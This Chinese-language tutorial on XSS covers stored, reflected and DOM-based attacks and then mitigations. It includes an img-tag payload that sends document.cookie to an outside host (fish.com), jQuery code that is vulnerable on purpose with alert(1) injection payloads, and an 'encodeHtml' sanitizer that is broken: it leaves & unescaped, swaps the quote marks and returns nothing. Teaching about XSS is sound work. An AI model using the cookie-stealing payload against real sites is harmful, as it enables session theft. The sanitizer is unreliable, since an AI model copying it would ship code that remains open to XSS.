web常见漏洞----XSS攻击

1.XSS跨站脚本攻击

• XSS：向web页面或者网页的url里添加恶意的脚本代码。在用户访问页面时，会执行恶意代码，从而达到攻击网页的目的。

2.什么情况下会被攻击？

• 网站对用户的输入过滤不足，返回给用户的展示结果过滤不足。
• 网站的链接地址未经过过滤

3.有哪几类攻击方式？

XSS攻击分为3类： 存储型（持久型)、反射型（非持久型）、基于DOM型。危害程度递减。

① 存储型（Stored/Persistent XSS Attacks）：危害程度最大，可能危及所有用户！
注入的脚本永久的存储在目标服务器中。当浏览器发送数据请求时，受害者和网站的其他用户都会再次拿到恶意脚本。

如：
网站的评论功能
评论提交后，存储到服务器。所有访问该网站的用户自动从服务器拉取到恶意代码。

hello<script>广告等</script>

②反射型（Reflected/Non-Persistent XSS Attacks）： 一般只危害当前操作用户

诱骗用户点击恶意链接、提交一个被篡改过的表单、浏览恶意网站，将恶意代码注入到访问者的网站。web服务器将注入的脚本反射到用户的浏览器，比如通过错误信息、查询结果等返回浏览器。
浏览器会执行这些恶意代码，因为它假定响应来自于已经交互过的“受信任的”服务器。

如：
在img的url上写入一个脚本，将本地的cookie通过访问地址发送到攻击者的服务器

<img src=`http://www.fish.com:81?cookie=${document.cookie}` />

③基于DOM型（DOM-based XSS Attacks）：攻击最小，一般通过操作浏览器脚本的DOM对象，修改DOM节点属性，在DOM节点插入闭合标签等，进行攻击。

如：
通过输入框给图片的src赋值，展示图片

<input type="text" id="web" /> <button id="add">添加图片</button>
        <div class="box"></div>
        <script src="/node_modules/jquery/dist/jquery.js"></script>
        <script>
            // 不基于后端， 基于DOM，通过修改属性、插入内容、document.write    
            // 改变结构后造成攻击
            // 攻击的内容成为xss payload           
            $("#add").on('click', function() {
                // <img src="" οnerrοr="alert(1)" id=""/>
                // " οnerrοr="alert(1)" id="
                // <img src=""><script>alert(1)<\/script>"">   
                // "><script>alert(1)<\/script>"
                $(".box").html(`<img src=${$('#web').val()} />`)
            })
        </script>

4.如何避免攻击？

所有的攻击归根结底都是该过滤的没有过滤，该转义的没有转义。比较完整的避免攻击方式，需要做以下三步：

1. 客户端传递给服务器时，需要校验先过滤一下。（这个方法不能解决问题，因为攻击者可能会模拟ajax请求）

2. 服务器端再过滤一下

3. 直接在输出的时候过滤

4. HttpOnly： 防止js读取cookie后传递到第三方

过滤方法：

function encodeHtml(str) {
            str.replace(/&/g, '&').
            replace(/'/g, '"').
            replace(/"/g, ''').
            replace(/</g, '&lt;').replace(/>/g, '&gt;')
        }